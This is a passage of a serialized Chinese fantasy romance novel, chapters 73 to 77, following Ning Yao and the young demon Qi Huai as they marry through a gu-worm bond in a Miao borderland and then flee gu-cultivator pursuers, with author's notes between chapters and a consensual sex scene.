它昂起头视线深深锁住祁淮,似乎在辨认某种熟悉的气味。片刻后它才卷起野鸡,囫囵吞入腹中,身形缩小,窸窣游走进深草。 “晚膳没了。”宁瑶语气惋惜,“我还打算给你熬锅鸡汤补补呢。” “专程跑出去,就为这个?”祁淮回眸,眼底带着一丝难以理解的探究,他确实没见过这难以评价的人。 “嗯啊。”宁瑶见他看自己的眼神变得古怪起来,一时也探究不清。 祁淮不再说话,转身往林子深处走去,宁瑶赶紧跟上,“去哪?” “打猎。” 她眼睛一亮,凑近了些,笑盈盈道:“猎什么都行,我不挑食。” “蛇。” “那算了……”宁瑶缩了缩脖子,一脸敬谢不敏,“我宁愿啃野果子,也不吃没毛的生物。” 祁淮斜睨她一眼,刚刚还说不挑食,没接话。 接下来祁淮专挑蛇踪寻觅,手中一把自制的匕首手起刀落,利落得很。 夕阳将竹楼染成暖金色,两人归来。 那檐下支个兽皮,就是个简易灶台。 宁瑶站在一旁,看他熟练地剥鳞、斩段、下锅,动作行云流水,她只觉得胃里一阵翻腾,默默移开了视线。 熬得奶白的蛇汤被递到面前,宁瑶捧着碗,小口抿着边缘,眼神飘忽。 最终,祁淮还是起身,拎回了一只肥硕的野兔。 火光映着祁淮处理野兔的侧脸,宁瑶看着他那娴熟的动作,心里像是被针尖扎了一下,泛起细密的酸涩。 她抿了抿唇,好多话想说,忽觉鼻头一酸,语气带着几分小心,“祁淮你以前,都是这样过的吗?” “嗯。”祁淮随口答着。 宁瑶看着他的侧颜一时出了神。 作者有话说:[狗头叼玫瑰][狗头叼玫瑰]大家应该猜的到红眼黑蛇是谁 第74章 时空的定格在宁瑶踏入戒子珠前。 宁瑶一抬眼,瞧见了院中那棵葱茏的树,金黄碎蕊藏在叶间,幽香浮动。 她伸出指尖,新奇道:“这棵桂花树,是什么时候长在这儿的?” 祁淮闻言,偏过头。他唇角弯起的弧度很轻,眼底却像拢着一潭深不见底的静水。 “自打我记事儿起,它就在这儿了。” 宁瑶眼睛亮了,笑着托腮:“现成的桂花糕。” 祁淮哪能不知她暗示,一阵无形的风听话地拂过树梢,将最饱满鲜润的簇簇金桂妥帖收拢,卷入掌心。 他侧脸看她:“等着。” 宁瑶真的乖乖立在树下,仰头望着那一树繁华。 人与花,静与香,时光在此刻仿佛被拉得绵长而温柔,酿成恰到好处的风景。 不多时,清甜的气息漫开。 祁淮端着白玉碟走来,新制的桂花糕莹润软糯,点缀着蜜渍的金黄。 他拈起一块,却不是递给她,而是直接送到她唇边。 他垂眸凝视着她乖乖咬下的模样,语气透出一丝不容置疑:“以后想吃,都这样由我来。” 作者有话说:这周上了个巨毒的榜单,一个字:写ps:美美发错了,不再用jjapp存稿了,心脏吓得一跳一跳的 第75章 宁瑶回神来,突然拍着胸脯,“放心,我保证以后的日子一定会越来越好。” “你的承诺?”祁淮撕下烤得焦香的兔腿,随意递过去,“那东西值几钱?人心,可是最易变的玩意儿。” “你可以信我。”宁瑶毫不闪避地看进他眼底,接过兔腿咬下一大口,烫得直吸气,又舍不得吐。 “我可是认真的。” 火光在祁淮幽深的眸子里跳了一下,别开脸,喉结微动,压下异样的心绪,道:“就凭你那点一见钟情?” “不然呢?”宁瑶扯出一个灿烂又狡黠的笑,凑近他耳畔,语速飞快道,“日后,祁淮会是我的夫君。” 祁淮骤然睁大眼,唇角带着一缕似笑非笑的凉意,没有把这话当一回事,或许也当做一次玩笑。 “夫君?” “嗯。”宁瑶点头,“具体多久我不清楚。” 她舀起一大碗热气腾腾的蛇汤,塞进他手里,转移着注意力:“喝汤。” 祁淮这阴沉别扭的,跟想象中温柔体贴的未来夫君,除了脸,暂时还真是看不出相似。 碗沿传来的暖意让祁淮指尖微不可察地一颤。 他垂眸看着汤面上的倒影,愣了片刻。 有人陪伴的感觉,似乎也不错…… 虽然,这个人脑袋看起来不太灵光,竟是一番胡言乱语,让人难以信服。 可某种陌生的、被人放在心上的感觉,细密地扎进心口。 祁淮低头喝了一口汤,轻微地弯了一下唇角。 宁瑶见他不再像刺猬般绷紧全身防备,几不可察地松了半口气。 吃饱喝足,她目光转向屋内唯一那张床,十分自然地用下巴点了点:“一起睡吧。” 祁淮一怔,简直不明白这人怎能如此理直气壮,难不成就仗着自己现在没能赶走她? 他没出声,宁瑶已自顾自蹬掉鞋子往里爬。 倏然后衣领蓦地一紧,回头只见祁淮抿唇,手指径直指向墙角那把硬木椅。 “分开睡。” 行吧,留下已是阶段性胜利。 宁瑶从善如流,转身就要往椅子那儿挪,却发现拽着她后领的那只手根本没松。 “那……”宁瑶眨了眨眼,“你是要我睡椅子,还是你睡椅子?” 祁淮对上她眼神,心底隐隐发烫,一时竟不知道如何。 就这一瞬的破绽,宁瑶心念一转,手上发力,硬是将祁淮拽得跌坐下来。 四目相对,她狡黠暗笑,将祁淮按倒在床榻外侧,撑着身子看着他脸颊。 “我们分什么分呀,你睡这儿。” “真是疯了。”祁淮声线尽力保持平静,可耳尖悄然红了,往身旁一挪。 宁瑶就知道,她若主动出击,夫君还不是手到擒来。笑着翻身滚到里侧,顺手扯过薄被,一条腿极其自然地搭上祁淮僵直的身体。 “放下去。” “不放。”她身形小心贴蹭过去,“我睡里面好了。” 祁淮从短暂的怔愣中回过神,阴郁目光凝在她近在咫尺的脸上,挣动被她手紧紧抱着胳膊:“你知不知羞……” 来回就这一句。 宁瑶撇了撇嘴,若说开始是酸涩,此刻看着他脸颊的红晕反而觉得有趣,“知道了,睡觉。” 她飞快闭紧双眼。 心底压着的事太多,沉甸甸的,其实宁瑶也一时难眠。 她的夫君是魔。 现在她又不知道是哪里,这地方处处透着古怪…… 可万般难以理解的事情,唯有现在抱着祁淮,嗅着熟悉的草木清香,勉强寻到一丝安定。 祁淮实在想不通。 她不怕他便罢了,死缠烂打跟他回来也罢,如今竟敢得寸进尺到如此地步。 还有什么她不敢做的? 他深吸一口气,可眸底翻涌的晦暗和戒备,在她逐渐均匀的呼吸里,一点点无声弥散。 宁瑶睡醒,睁眼时身侧已空。 她正要出门寻人,却见祁淮迈进屋,将几颗洗得水灵灵的野果搁在桌上。 “吃完上路。” “去哪?” “从哪儿来,回哪儿去。”他指节收紧,声音绷紧,“我这儿什么都没有,你跟着我,只会被那些人盯上,趁着他们不知道赶紧离开。” “我才不怕。”宁瑶抓起果子咔嚓咬了一口,“我帮你一起赶跑他们。” 她三两口吃完,袖子一挽,转移话题似的满屋转悠起来:“信不信我能让这儿焕然一新?” 祁淮负手立着,微歪着头,像看什么稀奇活物般瞧着她团团转。 这空荡荡的破屋子,她究竟能忙活出什么花样? “随你。”他索性坐在床沿闭目凝神,运转周天。 待再次睁眼时,祁淮呼吸一滞。 腐朽的木窗棂边挂上了一串风干的小花,缺角的桌案铺了块靛蓝粗布,墙角甚至多了一捧用旧罐子养着的,不知名的翠绿野草。 屋内仍简陋,却忽然有了活气。 宁瑶闻声回头,笑盈盈道:“怎么样,我的手笔,不错吧。” 祁淮唇瓣动了动,那句“多事”在舌尖一绕,咽了回去。 ——她好像,真的把自己当做夫君了。 祁淮心底一时反应不来。 经了些时日的相处,宁瑶到底软磨硬泡地留了下来。 祁淮不再提赶她走的话,便是她初步的胜利。 这日,宁瑶不知从何处费力拖来一株桂树苗,细密的汗珠沁在额边。 她记得清楚,从前祁淮是如何待她好的,如今她便照着样子,一点一点还回去。 “种这个做什么?”祁淮倚着门框,嗓音里听不出情绪。 “好看呀!”宁瑶回头,“等它长大了,能摘桂花做糕,酿蜜饯,可香了。” 她说得头头是道,仿佛已见满树金黄。末了,将一把旧锹递向他,语气自然:“帮我挖个坑,好不好?” 祁淮的目光落在她沾了泥渍却灿烂的笑脸上,心口像是被羽毛不轻不重地挠了一下。 他静默片刻,终是接过锹在院角掘出一个规规矩整的土坑。 宁瑶将树苗栽下,填土,压实。忙完仰起脸看他,笑意盈满得比春日的曦光还亮。 祁淮别开眼。 两人之间隔着几步的距离,祁淮的心悸一动,他声音压下:“洗洗去。” 宁瑶知道祁淮在为御蛊司入门一事炼蛊,便不多打扰,收拾完便自己去打水洗脸。 平日里祁淮负责打猎做饭,宁瑶则是趁此时机专心修炼。眼见祁淮态度一次次软化,宁瑶便第一次趁势提议,她想山下去看看。 祁淮没应声,却已转身朝山下走,这便是同意了。 宁瑶小步跟上,沿途左顾右盼,心头暗暗诧异,此处果然与她认知大不相同。 “这里真是不同。” 望去连座像样的城池也没有,只有连绵的竹屋挨挤着。街中就地铺开几张粗布便算摊子,几个货郎背着竹篓穿巷吆喝。 祁淮用猎来的野味换了几枚银币,回头见她好奇张望,拉过她的衣袖靠近自己,低声道:“别靠太近他们,小心他们身上的蛊,你受不住。” “哦。”宁瑶点头,转眼瞧见摊位上的糕点,造型别致,笑盈盈地指了指,“那个。” 祁淮立刻心领神会,买下两块塞进她怀里,糕点转而被宁瑶塞进自己口中。 他唇瓣抿了抿,唇齿蔓延的甜味来的猝不及防。 “别总是不说话,板着一张脸,吃点甜的,心情会变化好。”宁瑶舔了舔指尖的残渣,令拿起一块小口吃着。 “你……”祁淮感知到陌生又温热的指尖掠过唇瓣的温度,一时竟难以理解,这一刻心里欢愉病态的雀跃是为何。 宁瑶不知一道视线悄然黏在她身上,边走边瞥见一间竹屋悬着“书”字木牌,眼睛一亮,扯住祁淮袖子就往里拽。 “这儿,我得进去看看。” 书屋狭小却堆得满当。 宁瑶飞快翻检着那些用粗麻线钉成的册子,心跳渐急。 好在这是这所苗寨最大的书铺,几卷边角残破的州史与宗派录翻下来,宁瑶指尖渐渐发凉。 这里是不是她熟悉的修仙界,而是毗邻被封印魔界的边缘之地——山海渊,苗疆。 而且如今距她所知的时代,竟已隔了整整一千年。 人妖两族已共处百年,魔族残党被如蝼蚁般驱逐,并在神族下令诛杀的捕令遍布十四州。 也就是说,她是“活着”来到距离她的时代千年之前。 宁瑶一瞬恍惚。 祁淮听到四周的动静,侧身靠近,手指突然扣住她手腕:“走。” 他带着她疾步穿过歪斜的书架,门口却已被几道身影堵住。 为首是个耳朵头上缠着布带的少年,正是昨日被她吓跑的那几人之一。 “哟,今天还带了个小尾巴?”那少年扯着嘴角冷笑,“外乡人,你怕是不知道,祁淮这小子来历不明,阴煞得很。” 几人已围拢上来。 祁淮阴郁的眸色寸寸沉下去,真的阴魂不散。 他拉着宁瑶,往后退了退,掌心的魔气翻涌。 宁瑶虽有些不安,反手却将祁淮往后一拦。她修为虽不算深,对付这几个半大少年应该足够。 宁瑶手中亮出一柄灵剑,剑锋轻转,一招“拈花”挟着剑气荡开,几人顿时跌倒在地。 “没想到这一招真的管用……” 祁淮怔了怔。 那一瞬她的目光落在他脸上,却又像穿透他,看向了极远的地方。 宁瑶已利落收剑,牵过他的手腕,就往山腰跑:“怎么样,我厉害吧?” 风掠过耳际时,她没看见身后少年幽暗的眼底,触碰到她掌心的温度,悄悄松开又骤然收紧蜷起的指尖。像一只缩起爪牙的猛兽,寻到唯一的栖息之地。 回到竹屋时,宁瑶拎起桌上的杯子,仰头灌了一大口凉水。 她扶着桌沿缓气,后知后觉地感到两条腿止不住地发软,轻轻打颤。 “刚刚还真凶险。”她修为平平,好在今日有惊无险。 “你真不打算走?”一道声音忽然从她身后传来,祁淮不知何时立在门边。 宁瑶都不知道是他的第几次问。 “不走。”她毫不犹豫地摇头。 祁淮知道,即便这些时日相处下来,即便她此刻改口说想走,他也绝不会放…… 脑袋不太灵光的,此刻,好像是变成他了。 祁淮迫切想把宁瑶口中的那一句玩笑,通通变作现实。 ——永远留下她。 祁淮压下心绪,眼神里晃着晦暗的光,往前逼近半步,“既然你说对我一见钟情,那你敢亲我吗?” “这有什么不敢。” 宁瑶笑着踮起脚尖,飞快地在他脸颊上啄了一下。 “好了。” 祁淮整个人僵在了原地。 “怎么不动啦?”宁瑶眨眨眼,“不是你让我亲的嘛。” 祁淮垂在袖中的手攥得指节泛白。 心底某种压了又压的暗涌,此刻却反扑得比往日压制的魔气躁动时更凶,撞得他胸腔发麻,无所适从。 对,他是魔。 一只魔掩藏这么久身份,竟第一次升起,学着那些寻常人,做尽寻常事。 祁淮盯住她,“我答应你,不让你走,但你要吞下我的蛊。至于你说的夫君,我可以来做。” 宁瑶疑惑:“什么蛊?” 祁淮不答,从指尖化开血口,取出一只通体莹白的蛊虫递到她面前。 “吞下去。” 见他丝毫没有解释的意思,宁瑶心里有点发毛。 可不知哪来的直觉,她就是觉得祁淮不会害她。 虽然这成亲得是一千年后的事情。 宁瑶抿了抿唇,伸手捻起那只冰凉柔软的虫子,眼一闭,仰头咽了下去。 祁淮松了一口气,晦暗的眸色第一次泛着微光,生起从未有之的欢愉。 他仿佛又回味起今日那一抹甜。 宁瑶不知晓蛊虫是什么,只觉得有什么很重要的记忆有隐隐想起来的念头,又被一种力量狠狠反压了下去。 “吞了我的蛊,往后你的夫君只能唤我一人了。”祁淮说的很平淡,像喝水一般轻松。 “啊?这么简单?”宁瑶一听,反应来凑近惊喜道:“这便算是夫妻了?” “嗯。”祁淮颔首,半垂长睫轻颤,心底欢愉泛滥成灾,面上却掩饰极好,语气平平,“该歇息了。” “哦,你以后可不许再说些赶我走的伤心话了。”宁瑶打定主意,得跟在祁淮身边,保护好祁淮,魔的身比不上祁淮这个人来的重要。 本以为就少年祁淮这凶巴巴的样子,起码要他相信自己,可得费一番功夫,可这人会今日开了窍,主动要同她结为夫妻。 宁瑶主动抱着他的腰,见他没躲抱得紧了紧,唇角笑意压制不住,“夫君?” 祁淮垂眸,小心搂抱着她,“嗯。” 夜半时分,两人亦如往日同榻而眠。 宁瑶窝在里侧,盖着祁淮新买的浅黄色印花小被,被噩梦魇住了。 梦里,即云宗所有人浑身是血,一个个在她眼前倒下,“师兄师姐,爹爹……”她下意识靠近身侧哭着小声低喊。 祁淮几乎在她动弹的瞬间便已清醒,一侧身她就自动靠在怀里。 “夫君……我怕。”她指尖无意识地攥紧他的寝衣,又喃喃道,“夫君,你别死。” 每一个字细密地扎在他心口。 祁淮本就毫无睡意,此刻馨香更是不依不饶地缠绕上来。 他清晰感觉到她紧贴着自己胳膊的温热,一声声“夫君”叫得他牙关发紧。 又联想到她刚刚的话,他攥紧拳头刚一侧身,话到嘴边,见她已是梦魇着靠在怀里,硬生生忍了下去。 他僵了片刻,极缓、极生疏地抬起手,落在她单薄颤抖的背脊上,一下一下,动作僵硬地轻拍起来。 待到醒来,她浑浑噩噩大梦一场,发觉已窝在祁淮怀里最舒服的位置。 她抬眸,对上了一双翻涌着酸意的眸。 这一次,少年祁淮明白了,那些时不时穿透的眸光是什么。 “你梦中唤的夫君是我吗?” 作者有话说:上一章,吃的第n堑(尴尬挠头)设置为番外,不影响小宝们的订阅率哈现在小作者已经成功用上别的app存稿了[摸头][狗头叼玫瑰] 第76章 宁瑶睡意还未散尽,被他这话惊得瞬间清醒。一时语塞,抬起眼讪讪一笑:“你在说什么呀……” “你方才梦里喊的夫君是我吗?”祁淮半支起身逼近,眸色沉沉,一股从未有过的疑虑在心头盘旋。 方才她睡梦中那几声惊慌失措的“夫君”,搅得他心口泛起陌生的,他从未有过的酸涩滋味,席卷全身。 “那个人,是不是我?” 见她怔住不语,祁淮眼底暗色愈浓。 疑问如藤蔓疯长,沉甸甸压在心尖,几乎凝成阴郁的实质。 宁瑶连忙坐起来,伸手环住他的脖颈,急急点头:“是你,祁淮。虽然是将来的你,可你就是我未来的夫君。” 祁淮从喉间溢出轻嗤,扯了扯唇角:“荒谬。”可心底竟有个声音抢先信了,连他自己都暗暗一惊。 “我没骗你。” 宁瑶手臂收得更紧些,贴着他耳畔认真道:“你真是我以后的夫君,我也是你以后的夫人。” 她稍稍松开一点,小心地打量他神情:“你信不信我?” 祁淮面上淡淡的,什么也瞧不出来。 宁瑶的心里七上八下,这离奇的事,又从何解释起他才会信。 “唤我。”祁淮忽地出声,打断她的慌乱。 “……诶?” “方才怎么喊的,现在就怎么喊。”他声音低低的,却不容她闪躲。 宁瑶回过神来,松了手臂,耳根微热,轻声唤道:“夫君。” 祁淮耳尖倏地红了。 可他偏不爱瞧见她游移在另一个虚空的眼神,又见她松了手心底一阵失落,“闭眼。” 她长睫一颤,合眼忍不住又轻唤:“夫君……” 余音未散,少年已扣住她的手腕带入怀中,吻了下来。先是小心试探,继而轻轻撬开唇齿,一切顺从本能,水到渠成。 宁瑶明明不是头一回,却仍紧张得咬了他下唇一口。听见他极轻的闷哼,她睁眼,凑上去亲了亲他唇角。 映入眼帘的是少年染满红晕的脸,他从未这样赧然过。 “现在你喊的,”祁淮望进她眼底,语气是前所未有的郑重,指尖摩挲着她腕间脉搏律动,“是我。” 宁瑶笑了,伸手回抱上去:“嗯,是叫你。” 见她笑得明媚,不见半分羞怯,祁淮指尖轻颤着抚上她的脸,合眼又落下一吻:“从现在起,每吻一次,你便唤我一声夫君。” 宁瑶眨眨眼,心想这有何难:“好呀。” 可当祁淮的吻从额间蔓延而下,寸寸流连时,宁瑶才恍然醒悟自己大意了。 这不像亲吻,倒像一头执拗的狼崽在细致地标记领地,执意要让她每一寸都沾染自己的气息。 那声“夫君”自从容到羞涩,从口齿中支离破碎,染上颤音。 她想稍稍躲开些,却被他紧扣手腕,动弹不得。 他的语气平淡得像在讨论天气:“这里,还没亲过。” “这儿不行……”宁瑶的手慌乱地落在膝上可指腹下湿润的触感已让她的手滑开。 舌尖轻轻一转。 她腰肢倏地蜷起,却无处可逃。 “……看来‘以后’的我,也不怎样。”祁淮的声音从齿缝里渗出,垂眼看见她雾蒙蒙的眼神,掌心便安抚般揉过她的后脑,将人揽进怀里。 指尖抚过她沁出薄汗的脊背,那些属于他的印记让少年满足地低叹。 “你下次能不能别用……”用嘴唇。 后半句宁瑶实在说不出口,只好泄愤似的捏了捏他紧实的腰侧。 “那下次,”他指尖点了点自己的脸颊,眼里晃着蛊惑的光,“换你来。” “那怎么行,万一压着你……”宁瑶急道,说什么也不肯。 “试试不就知道了。” 祁淮眼底那点阴郁被她慌张的模样驱散些许,生出些执拗的好奇来。 她耳尖通红,乱动着已被他提起腰,她只在飞快地在他脸上贴了一下就要逃,却被他一把扣住腰身重新按回原处。 勾,缠,舔,吮。 像极了白日她递来的那块甜糕,甜腻,黏人,教人忍不住想拆吃入腹。 迟来的欢愉如春日融冰,漫过四肢百骸。 她软在他怀里。 他腰肢轻轻一挺,寻不到半分生涩。 一股没由来的嫉妒骤然席卷,即便是对“未来”的自己。 “不可贪多。”宁瑶喘着气轻推他的肩。 祁淮置若罔闻。 病态的占有欲在胸腔里烧灼,凭什么“他”能更早遇见她? “看着我,唤我。”祁淮声音闷闷,耳畔听到她的呼吸。 一遍遍确认宁瑶真实的存在自己身边。 在自己身边。 在自己触手之迹。 “夫君。” 宁瑶被他扶稳腰肢,看到祁淮眼神似欢愉微微失去焦距,却仍未停滞下来。 祁淮察觉她腰身越发软,额头抵着额头,在她轻颤的眼睫上落下一吻。 “夫君……”宁瑶迷迷糊糊地又唤了一声,已是习惯性的低唤。 后来宁瑶便记不真切了,只知少年初次生涩短暂,往后却漫长磨人,食髓知味般。 最后她的意识并非是沉入睡眠,而是像被烟火,“嘭”地一声炸散在脑海,她就晕了过去。 再醒来时,宁瑶看着渐渐清晰的床幔还有些恍惚,摸了摸身侧空落落但还有余温。 身上清爽,下腹酸胀。 她动了动,身上其余的位置并无不适,可若细看便会发现从脖颈开始,处处缀着淡红痕迹,唇瓣更是微微肿着。 真是毫无防备,早知道她便不该那般信誓旦旦答应了。 何况是少年时期的祁淮,总是带着几分少年初尝的不克制。 宁瑶怒而一怒,刚要起身“兴师问罪”,就见祁淮端着水盆进来,浸湿的帕子轻轻擦过她的脸颊。 祁淮忽的一笑,“我是不是比‘他’做的更好?” 宁瑶一愣,这话怎么听着奇怪…… “都是你,”宁瑶伸手摩挲着他的脸颊,“祁淮最好了。” “若非要选一个呢?现在,还是‘未来’?”祁淮弯唇,不依不饶,声音里渗出一股子酸意。 宁瑶眨了眨眼,忽然恍然大悟。 这人,该不会在吃自己的醋? 她拼命压住上扬的嘴角,故意眨了眨眼:“未来的夫君呀待我极好,事事依我,洗衣做饭,沐浴更衣,什么都以我为先……” 说着悄悄抬眼,祁淮抿紧了唇,下颌线绷得死紧。 沉默了三息,他忽然抬头,黑眸里闪着近乎偏执的光:“我能做到。” 因之前对她太凶,怕她不信,又急急补了一句:“做得更好。” 宁瑶终于忍不住笑出来,凑上前去:“傻不傻,万一我骗你呢?” “祁淮,做自己就好。” 她亲了亲他的眉心,利落地披衣下床有由祁淮不太熟练地穿戴好,就让他快些炼蛊去。 走到门边,她忽然想起什么,“对了,你为何非要进御蛊司?” “这里虽是苗疆边陲,我也要站稳脚跟,不叫人欺侮。”他目光在她脸上停了停,如今又多了一条理由。 宁瑶抿唇一笑,“原来如此。”说完便转身去给院中那棵桂树细细浇起水来。 御蛊司考核那日,祁淮早早出了门,宁瑶从清晨等到日头爬至正中,院门终于响了。 她提着裙摆迎出去,却见祁淮身后跟着一位陌生姑娘。 那女子肤色是日光浸润过的健康小麦色,一双大眼灵动明亮,周身银饰繁多作响,是典型的苗疆装扮。 宁瑶想着,下意识瞥向祁淮。 他颈间与腕上虽缀着银饰,却简洁得多。 “这位是?”姑娘目光流转,将宁瑶上下打量一遍,忽然亲昵地往祁淮身侧一靠,笑吟吟道,“我是祁淮的好友。” 祁淮侧身避开,连片衣角都未让她沾到,径直走到宁瑶身旁,自然地握住她手腕往屋里带:“外头晒,进屋等,不过是个买草药的客人。” 宁瑶点点头,悄悄回头望了一眼,那姑娘脸色骤然变了。 院中,祁淮自背篓中取出几束药草:“牟茵,你要的在此,拿了便请回。” 唤作牟茵的姑娘不接,只盯着他:“听闻你去御蛊司考核了,接下来可有什么打算。” “与你无关。”祁淮语气疏淡,目光已落向宁瑶所在的屋门,“慢走,不送。” 牟茵脸色微变,若非看他恢复了面容有几分姿色,可男人多的是,便暗自记恨,抓过药草将银币往地上一掷,转身便走。 宁瑶在门内听得真切,待脚步离了院门,便匆匆关门蹲下身同他一起拾起银币,轻轻吹去浮灰,递到他眼前:“夫君,今日考核顺利吗?” “顺利。”祁淮接过银币,指尖无意擦过她的掌心,“攒了些银钱,正好带你下山添置东西。” 一听能下山,宁瑶眼睛顿时亮了。 镇上集市仍是热闹,她正张望见街角贴着崭新的通缉令。凑近一瞧,竟绘着一条眼熟的红眼巨蛇。 “夫君你看,这不是上回抢了我野鸡的那条蛇么,竟是魔君的手下……” 祁淮淡淡瞥过,随即走向一旁药铺,称了些雄黄粉。 “日后你避着那片林子。”他将纸包递给她,见她笑着接过点头,转头兴致勃勃挑选着银饰,犹豫开口终是攥了攥拳头。 归家后,宁瑶神秘兮兮地捧出一个布包,里头是好几件崭新的银饰。 项圈、手链、腰链,皆是苗疆男子常用的样式。 “怎么买了这么多?” “就当提前贺夫君通过考核吧。”她仰起脸,眼里映着窗外暖阳。 祁淮怔了怔,唇角上扬些许:“这般信我?” “自然。”宁瑶拿起一枚缀着铃铛的银手链,在他腕边比了比,笑得眉眼弯弯,“不信夫君,还能信谁呢?” 祁淮被她的反应逗得弯了唇,任由她比划银饰。 几日后,御蛊司的传信到了。 祁淮不仅通过了考核,因育出的蛊虫对妖兽只毒有奇效,被直接指派前往边陲的受袭村庄。 宁瑶依依不舍,只得压下酸涩接受此事。 可宁瑶没想到,祁淮会回来接她同行。 “我也去?”她看着院外牵着马的少年,他一眨不眨地看向自己。 “嗯。”祁淮应了一声,目光落在她脸上,便移不开。 如今他只嫌目光不能如丝线一般,将她时时刻刻系在身边才好。 “好。”宁瑶一笑,收拾了行装。 祁淮指尖伸出,她将手一搭借着他那股巧劲旋身,稳稳落在他身前的马背上。 清风送来她身上似有若无的暖香,丝丝缕缕萦绕在鼻尖。 祁淮手臂环过她腰侧握紧缰绳,下颌抵上她发顶。 “驾——”祁淮忽然低语,“日后若是没了夫人在身边,怕是夜夜睁眼到天亮。” 思及此,一吻印上宁瑶后颈,微光悄无声息地没入她肌肤之下,苗疆秘传的魂印至此落成。 只要宁瑶在,魂魄在,他便能寻到她。 他长睫半垂,心下只有病态的欢愉。 后颈像过了道细微的电流,酥酥麻麻。 宁瑶下意识缩了缩脖子,抬手去摸:“痒。” 祁淮唇角上扬,将她往怀里带了带,手臂收紧,声音里透着得逞后的一丝笑意:“坐稳些,前面路颠。” “好。”宁瑶笑着靠在他怀里。 此行除却他们这对颇扎眼的少年夫妻,还有御蛊司派遣的三人:两男一女,皆是点头之交,对他们态度还算友善。 村庄不远,妖兽之毒对祁淮而言不算棘手。初步判定为蛇毒后,四人便逐一探查。 谁料竟在一户村民家中,撞见了藏匿在此那黑蛇。蛇身肿胀,布满伤痕。 赤红的竖瞳扫了一圈,只定格在祁淮身上。嘶嘶吐着蛇信子,扭头游窜至祁淮身后,寻求庇护般盘踞不动了。 一时间,满院死寂。 作者有话说:最近字数更的多,是我在熬夜[摸头]ps:发现有小宝一直默默在投营养液,激动,感谢!数据好看不好看,全靠小宝们爱的投喂,再次感谢~ 第77章 御蛊司三人与在场村民皆看得分明。 “祁淮,你认得这蛇?”有人出声质问,紧紧盯着一人两蛇。 “我夫君怎会认得,这蛇就是觉得夫君比较亲近……”宁瑶虽怕蛇,却一步挡在祁淮身前。 她大抵能猜到,黑蛇是魔君手下,自然知晓祁淮也是魔…… 三位算得上友善的同僚神色一变,唯一的女子牟茵厉声呵斥,“祁淮,此蛇乃魔君麾下妖兽,还说与你无关?你可有辩解?” 另一男子刘钦看了牟茵一下,试图缓和这场景,“或许只是巧合,先冷静,别中了这妖物圈套……” 牟茵眸色一凌,袖中短箭已疾射而出,直取祁淮性命。 黑蛇猛地弹起,为祁淮挡下这一击,极快卷着蛇身上短箭刺中牟茵的胸口。 她胸口绽放出血花,便倒地不起。 速度太快,无人没来得及反应。 祁淮见黑蛇受伤,神色未变。 黑蛇却急躁地频频回眸瞟向祁淮的方向。 祁淮牵着宁瑶的手收紧了些,护着宁瑶在他身后,退后几步离这黑蛇远了几分,才道:“我不认识它。” 刘钦探了探牟茵鼻息,“还有一口气。” 剩下两人不听,已团团围拢上来,不容分辩这敌意。魔族被人、妖、神驱逐,击杀令之下宁可错杀,不容放过。 祁淮并不恋战,这黑蛇比人更先认出他体内魔气,可他得寻一个万全之策先护宁瑶安全。 宁瑶横剑格开两人攻势,祁淮仍将她护得密不透风。 他视线扫过宁瑶,手中蛊虫倾巢而出,握住她手腕的力道又急又重:“走!” 两人独力难支,黑蛇趁机寻了出路,两人就此遁入深山。 敌众我寡,祁淮将宁瑶全然笼于防护之中,免受蛊虫侵扰。 蛊虫嗡鸣,阻隔追兵你。 自己却添新伤,带着她急退。 黑蛇倏地窜出破开包围,两人趁机隐入山林,躲进废弃的猎户竹屋。 祁淮清理出一块地方,按着宁瑶坐下。她刚想开口问他伤势,唇上却忽然抵来一颗微硬之物。 宁瑶下意识含住了,甜意化开。 “吃点甜的,心情会好。”他声音低哑,“现在可开怀些了?” “嗯。”宁瑶勉强弯了弯嘴角,糖顶在腮边,额头靠在他的胸口,“夫君,他们说的是真的吗?” “是。”祁淮指尖抚上她脸颊,拭去一点污泥,眸子幽幽地望着她,“怕了吗?” “不怕。”宁瑶摇头,眼眶发酸。 “哪怕我是个魔?” 祁淮眸色一寸寸锁定在她面容,不肯罢休地执拗道,“我可是人人得而诛之的魔。仗着血脉不纯,用了蛊才掩藏身份,苟活至今,又瞒你至今。这样,你也不怕?” “不怕。” 宁瑶脸埋在他衣襟前,声音闷闷却坚定,“祁淮就是祁淮,说好了的,我要保护你。” 祁淮被她眼神烫了一瞬,凑近到呼吸交缠的距离停下,却又压抑不住,轻扣着她的后脑勺缠着她,撬开唇齿吻去。 一吻结束,额头相抵,祁淮弯唇轻笑:“我太高兴了,听到你的回答我好高兴。” “好,这都什么时候了……”宁瑶嗔怪着推他肩膀。 眼下已有人怀疑祁淮的身份,若真被擒住验明正身…… 她不敢深想。 她转手更紧地抱住祁淮,可掌心却触到一片湿滑黏腻。 温热的液体正不断渗溢。 宁瑶浑身一僵,愕然抬头。 祁淮面色不知何时惨白如纸,一丝鲜红自唇角缓缓淌下,可他嘴角却噙着笑,“你不怕便好。” 随着鲜血流失,那股被他竭力压制的魔气再也无法隐藏,丝丝缕缕逸散出来后萦绕周身。 “夫君!”宁瑶声音发颤,抬手就要去碰他后背,却被他箍住腰身,在怀里抱紧。 “小伤。”祁淮气息不稳,指尖轻颤着接住她滚落的泪珠,一点点擦去,“若这就死了,还怎么当你‘未来’的夫君,对不对?” “是,可这哪是小伤。”她在他怀里小心挣扎,“快松手,让我看看。” 祁淮这才松开力道,压抑着喉间翻涌的血气,闷咳两声,“有劳夫人了,不过这血不嫌脏?” 他瞥了眼自己染血的衣袖,眼睫低垂。 “不嫌,一点都不。”宁瑶手脚麻利地替他处理伤口,扶着他往山林更深处逃去。 那条黑蛇从草丛窜出变大,拦在前路,尾巴尖摆了摆,指向它粗壮的蛇身。 宁瑶会意,搀着半身重量压在她肩上的祁淮,费力地将他扶上蛇身。 祁淮意识已有些涣散,指尖却仍无意识地牵着她的手腕,头无力地靠在她颈侧:“夫人,我若昏过去你便自己快逃……” “祁淮,祁淮,不许睡!”宁瑶眼圈通红,打断他的话,用力撑住他下滑的身子,“我绝不会丢下你。” 黑蛇驮着两人,灵活地游入崖壁一道隐蔽的裂隙。山洞幽深,入口散落着兽骨,弥漫着淡淡的血腥气息。 内里黑暗不知通向何处。 黑蛇在洞口盘踞起来,信子吞吐,似在守卫他们。 祁淮彻底脱力,几乎是昏沉地倒在她怀里。 他周身外溢的魔气越发多了。 祁淮牙关咬紧,额角青筋浮起,竭力递给她一个安抚的眼神,“我能控制住。” 见宁瑶无恙,祁淮心神刚松懈一瞬,体内翻涌的魔气却骤然失控。他闷哼一声,身形微蜷。 “夫君!” 